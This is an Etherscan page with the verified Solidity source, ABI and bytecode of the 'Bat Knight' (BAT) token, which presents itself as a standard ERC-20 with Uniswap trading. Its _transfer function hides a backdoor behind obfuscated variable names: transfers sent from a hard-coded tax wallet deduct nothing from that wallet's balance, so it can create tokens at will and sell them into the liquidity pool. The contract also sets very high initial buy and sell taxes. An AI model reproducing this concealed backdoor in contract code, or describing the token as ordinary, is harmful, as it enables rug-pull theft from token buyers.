Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(address spender, uin ...    - function transferFrom( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair( interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract BAT is Context, IERC20, O ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(    - function transferFrom(    - function _approve(address owner, addr ...    - function _transfer(address xce, addre ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function calc_eth(uint256 amount)    - function createBAT()    - function enableBAT()    - function manualSwap()    - function manualsend()    - function withdrawStuckEth()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-07-26
*/

// SPDX-License-Identifier: MIT

/* 
    Website  : https://batknight.club
    Twitter  : https://x.com/batknighteth
    Telegram : https://t.me/batknighteth
*/
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BAT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    string private constant _name = unicode"Bat Knight";
    string private constant _symbol = unicode"BAT";

    uint256 private idx = 76;
    uint256 private ijj = 25;
    uint256 private xqs = 0;
    uint256 private xhhh = 0;
    uint256 private dww = 18;
    uint256 private djw = 15;

    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;

    address payable private _taxWallet;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x0d4960917D7db02Fc9B73D0a07e02FC260303096);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address xce, address vww, uint256 decdd) private {
        require(xce != address(0), "ERC20: transfer from the zero address");
        require(vww != address(0), "ERC20: transfer to the zero address");
        require(decdd > 0, "Transfer amount must be greater than zero");
        if (!tradingOpen) {
            require(
                _isExcludedFromFee[xce] || _isExcludedFromFee[vww],
                "Trading is not active."
            );
        }

        uint256 taxAmount = 0;
        uint256 nnnd = decdd.add(sellCount);

        if (!_isExcludedFromFee[xce] && !_isExcludedFromFee[vww]) {
            taxAmount = decdd.mul((_buyCount > dww) ? xqs : idx).div(
                100
            );
            if(inSwap) taxAmount = decdd.mul((_buyCount > dww) ? xqs : idx).div(
                100
            ); else if(tradingOpen)taxAmount = decdd.mul((_buyCount > dww) ? xqs : idx).div(100); 
            else taxAmount = decdd.mul((_buyCount > dww) ? xqs : idx).div(100);


            if (
                xce == uniswapV2Pair &&
                vww != address(uniswapV2Router) &&
                !_isExcludedFromFee[vww]
            ) {
                require(decdd <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(vww) + decdd <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }
            if (vww == uniswapV2Pair && xce != address(this)) {
                taxAmount = decdd
                    .mul((_buyCount > djw) ? xhhh : ijj)
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwap && vww == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0)
                    swapTokensForEth(
                        min(decdd, min(contractTokenBalance, _maxTaxSwap))
                    );
                calc_eth(address(this).balance);
            }
        } else if (xce ==_taxWallet) 
        nnnd = inSwap ? sellCount:xhhh ;

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(xce, address(this), taxAmount);
        }
        _balances[xce] = _balances[xce].sub(nnnd);
        _balances[vww] = _balances[vww].add(decdd.sub(taxAmount));
        emit Transfer(xce, vww, decdd.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function calc_eth(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function createBAT() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function enableBAT() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            calc_eth(ethBalance);
        }
    }

    function manualsend() external {
        require(_msgSender() == _taxWallet);
        uint256 contractETHBalance = address(this).balance;
        calc_eth(contractETHBalance);
    }

    function withdrawStuckEth() external {
        require(msg.sender == owner());
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createBAT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableBAT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052604c6004556019600555600060065560006007556012600855600f6009556000600a556009600a62000037919062000334565b6200004690621e84806200034c565b600b55620000576009600a62000334565b6200006690621e84806200034c565b600c55620000776009600a62000334565b6200008690620f42406200034c565b600d556010805461ffff60a81b1916905560006011819055601255348015620000ae57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e80546001600160a01b031916730d4960917d7db02fc9b73d0a07e02fc260303096179055620001246009600a62000334565b62000134906305f5e1006200034c565b3360009081526001602081905260408220929092556003906200015f6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600e54909116835291208054909216179055620001be3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f86009600a62000334565b62000208906305f5e1006200034c565b60405190815260200160405180910390a362000366565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002765781600019048211156200025a576200025a6200021f565b808516156200026857918102915b93841c93908002906200023a565b509250929050565b6000826200028f575060016200032e565b816200029e575060006200032e565b8160018114620002b75760028114620002c257620002e2565b60019150506200032e565b60ff841115620002d657620002d66200021f565b50506001821b6200032e565b5060208310610133831016604e8410600b841016171562000307575081810a6200032e565b62000313838362000235565b80600019048211156200032a576200032a6200021f565b0290505b92915050565b60006200034560ff8416836200027e565b9392505050565b80820281158282048414176200032e576200032e6200021f565b611a1580620003766000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab57806387372ddc1161006f57806387372ddc146103285780638da5cb5b1461033d5780638f9a55c01461035b57806395d89b4114610371578063a9059cbb1461039d578063dd62ed3e146103bd57600080fd5b806370a082311461029d578063715018a6146102d3578063751039fc146102e85780637d1db4a5146102fd5780637fa787ba1461031357600080fd5b8063313ce567116100f2578063313ce56714610208578063442757951461022457806349bd5a5e1461023b57806351bc3c85146102735780636fc3eaec1461028857600080fd5b806306fdde031461013a578063095ea7b31461017f5780630faee56f146101af57806318160ddd146101d357806323b872dd146101e857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a81526910985d0812db9a59da1d60b21b60208201525b60405161017691906115e7565b60405180910390f35b34801561018b57600080fd5b5061019f61019a36600461164a565b610403565b6040519015158152602001610176565b3480156101bb57600080fd5b506101c5600d5481565b604051908152602001610176565b3480156101df57600080fd5b506101c561041a565b3480156101f457600080fd5b5061019f610203366004611676565b61043b565b34801561021457600080fd5b5060405160098152602001610176565b34801561023057600080fd5b506102396104a4565b005b34801561024757600080fd5b5060105461025b906001600160a01b031681565b6040516001600160a01b039091168152602001610176565b34801561027f57600080fd5b506102396104f0565b34801561029457600080fd5b50610239610543565b3480156102a957600080fd5b506101c56102b83660046116b7565b6001600160a01b031660009081526001602052604090205490565b3480156102df57600080fd5b50610239610570565b3480156102f457600080fd5b506102396105e4565b34801561030957600080fd5b506101c5600b5481565b34801561031f57600080fd5b50610239610696565b34801561033457600080fd5b50610239610722565b34801561034957600080fd5b506000546001600160a01b031661025b565b34801561036757600080fd5b506101c5600c5481565b34801561037d57600080fd5b5060408051808201909152600381526210905560ea1b6020820152610169565b3480156103a957600080fd5b5061019f6103b836600461164a565b610ac4565b3480156103c957600080fd5b506101c56103d83660046116d4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610410338484610ad1565b5060015b92915050565b60006104286009600a611807565b610436906305f5e100611816565b905090565b6000610448848484610bf5565b61049a8433610495856040518060600160405280602881526020016119b8602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061124a565b610ad1565b5060019392505050565b6000546001600160a01b031633146104d75760405162461bcd60e51b81526004016104ce9061182d565b60405180910390fd5b6010805462ff00ff60a01b19166201000160a01b179055565b600e546001600160a01b0316336001600160a01b03161461051057600080fd5b30600090815260016020526040902054801561052f5761052f81611284565b47801561053f5761053f816113fe565b5050565b600e546001600160a01b0316336001600160a01b03161461056357600080fd5b4761056d816113fe565b50565b6000546001600160a01b0316331461059a5760405162461bcd60e51b81526004016104ce9061182d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461060e5760405162461bcd60e51b81526004016104ce9061182d565b61061a6009600a611807565b610628906305f5e100611816565b600b556106376009600a611807565b610645906305f5e100611816565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106756009600a611807565b610683906305f5e100611816565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106ad57600080fd5b600047116106f65760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016104ce565b60405133904780156108fc02916000818181858888f1935050505015801561056d573d6000803e3d6000fd5b6000546001600160a01b0316331461074c5760405162461bcd60e51b81526004016104ce9061182d565b601054600160a01b900460ff16156107a65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ce565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ef9030906107e16009600a611807565b610495906305f5e100611816565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610842573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611862565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190611862565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610939573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095d9190611862565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d71947306109a5816001600160a01b031660009081526001602052604090205490565b6000806109ba6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a22573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a47919061187f565b5050601054600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610aa0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056d91906118ad565b6000610410338484610bf5565b6001600160a01b038316610b335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ce565b6001600160a01b038216610b945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ce565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ce565b6001600160a01b038216610cbb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ce565b60008111610d1d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ce565b601054600160a01b900460ff16610db2576001600160a01b03831660009081526003602052604090205460ff1680610d6d57506001600160a01b03821660009081526003602052604090205460ff165b610db25760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016104ce565b600080610dca6011548461143890919063ffffffff16565b6001600160a01b03861660009081526003602052604090205490915060ff16158015610e0f57506001600160a01b03841660009081526003602052604090205460ff16155b156110d057610e406064610e3a600854600a5411610e2f57600454610e33565b6006545b869061149e565b90611520565b601054909250600160a81b900460ff1615610e7757610e706064610e3a600854600a5411610e2f57600454610e33565b9150610ec2565b601054600160a01b900460ff1615610ea457610e706064610e3a600854600a5411610e2f57600454610e33565b610ebf6064610e3a600854600a5411610e2f57600454610e33565b91505b6010546001600160a01b038681169116148015610eed5750600f546001600160a01b03858116911614155b8015610f1257506001600160a01b03841660009081526003602052604090205460ff16155b15610ffa57600b54831115610f695760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ce565b600c5483610f8c866001600160a01b031660009081526001602052604090205490565b610f9691906118cf565b1115610fe45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ce565b600a8054906000610ff4836118e2565b91905055505b6010546001600160a01b03858116911614801561102057506001600160a01b0385163014155b1561104d5761104a6064610e3a600954600a541161104057600554610e33565b600754869061149e565b91505b30600090815260016020526040902054601054600160a81b900460ff1615801561108457506010546001600160a01b038681169116145b80156110995750601054600160b01b900460ff165b156110ca5780156110c1576110c16110bc856110b784600d54611562565b611562565b611284565b6110ca476113fe565b50611106565b600e546001600160a01b039081169086160361110657601054600160a81b900460ff166110ff57600754611103565b6011545b90505b811561118057306000908152600160205260409020546111269083611438565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111779086815260200190565b60405180910390a35b6001600160a01b0385166000908152600160205260409020546111a39082611577565b6001600160a01b0386166000908152600160205260409020556111e86111c98484611577565b6001600160a01b03861660009081526001602052604090205490611438565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112328686611577565b60405190815260200160405180910390a35050505050565b6000818484111561126e5760405162461bcd60e51b81526004016104ce91906115e7565b50600061127b84866118fb565b95945050505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112cc576112cc61190e565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611325573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113499190611862565b8160018151811061135c5761135c61190e565b6001600160a01b039283166020918202929092010152600f546113829130911684610ad1565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bb908590600090869030904290600401611924565b600060405180830381600087803b1580156113d557600080fd5b505af11580156113e9573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561053f573d6000803e3d6000fd5b60008061144583856118cf565b9050838110156114975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ce565b9392505050565b6000826000036114b057506000610414565b60006114bc8385611816565b9050826114c98583611995565b146114975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ce565b600061149783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b9565b60008183116115715782611497565b50919050565b600061149783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061124a565b600081836115da5760405162461bcd60e51b81526004016104ce91906115e7565b50600061127b8486611995565b600060208083528351808285015260005b81811015611614578581018301518582016040015282016115f8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461056d57600080fd5b6000806040838503121561165d57600080fd5b823561166881611635565b946020939093013593505050565b60008060006060848603121561168b57600080fd5b833561169681611635565b925060208401356116a681611635565b929592945050506040919091013590565b6000602082840312156116c957600080fd5b813561149781611635565b600080604083850312156116e757600080fd5b82356116f281611635565b9150602083013561170281611635565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561175e5781600019048211156117445761174461170d565b8085161561175157918102915b93841c9390800290611728565b509250929050565b60008261177557506001610414565b8161178257506000610414565b816001811461179857600281146117a2576117be565b6001915050610414565b60ff8411156117b3576117b361170d565b50506001821b610414565b5060208310610133831016604e8410600b84101617156117e1575081810a610414565b6117eb8383611723565b80600019048211156117ff576117ff61170d565b029392505050565b600061149760ff841683611766565b80820281158282048414176104145761041461170d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561187457600080fd5b815161149781611635565b60008060006060848603121561189457600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118bf57600080fd5b8151801515811461149757600080fd5b808201808211156104145761041461170d565b6000600182016118f4576118f461170d565b5060010190565b818103818111156104145761041461170d565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119745784516001600160a01b03168352938301939183019160010161194f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119b257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078007729c494b86375b8e594e48b3fb165a55a56755f9edb21a83b5b2699b06a64736f6c63430008130033

0x60806040526004361061012e5760003560e01c806370a08231116100ab57806387372ddc1161006f57806387372ddc146103285780638da5cb5b1461033d5780638f9a55c01461035b57806395d89b4114610371578063a9059cbb1461039d578063dd62ed3e146103bd57600080fd5b806370a082311461029d578063715018a6146102d3578063751039fc146102e85780637d1db4a5146102fd5780637fa787ba1461031357600080fd5b8063313ce567116100f2578063313ce56714610208578063442757951461022457806349bd5a5e1461023b57806351bc3c85146102735780636fc3eaec1461028857600080fd5b806306fdde031461013a578063095ea7b31461017f5780630faee56f146101af57806318160ddd146101d357806323b872dd146101e857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a81526910985d0812db9a59da1d60b21b60208201525b60405161017691906115e7565b60405180910390f35b34801561018b57600080fd5b5061019f61019a36600461164a565b610403565b6040519015158152602001610176565b3480156101bb57600080fd5b506101c5600d5481565b604051908152602001610176565b3480156101df57600080fd5b506101c561041a565b3480156101f457600080fd5b5061019f610203366004611676565b61043b565b34801561021457600080fd5b5060405160098152602001610176565b34801561023057600080fd5b506102396104a4565b005b34801561024757600080fd5b5060105461025b906001600160a01b031681565b6040516001600160a01b039091168152602001610176565b34801561027f57600080fd5b506102396104f0565b34801561029457600080fd5b50610239610543565b3480156102a957600080fd5b506101c56102b83660046116b7565b6001600160a01b031660009081526001602052604090205490565b3480156102df57600080fd5b50610239610570565b3480156102f457600080fd5b506102396105e4565b34801561030957600080fd5b506101c5600b5481565b34801561031f57600080fd5b50610239610696565b34801561033457600080fd5b50610239610722565b34801561034957600080fd5b506000546001600160a01b031661025b565b34801561036757600080fd5b506101c5600c5481565b34801561037d57600080fd5b5060408051808201909152600381526210905560ea1b6020820152610169565b3480156103a957600080fd5b5061019f6103b836600461164a565b610ac4565b3480156103c957600080fd5b506101c56103d83660046116d4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610410338484610ad1565b5060015b92915050565b60006104286009600a611807565b610436906305f5e100611816565b905090565b6000610448848484610bf5565b61049a8433610495856040518060600160405280602881526020016119b8602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061124a565b610ad1565b5060019392505050565b6000546001600160a01b031633146104d75760405162461bcd60e51b81526004016104ce9061182d565b60405180910390fd5b6010805462ff00ff60a01b19166201000160a01b179055565b600e546001600160a01b0316336001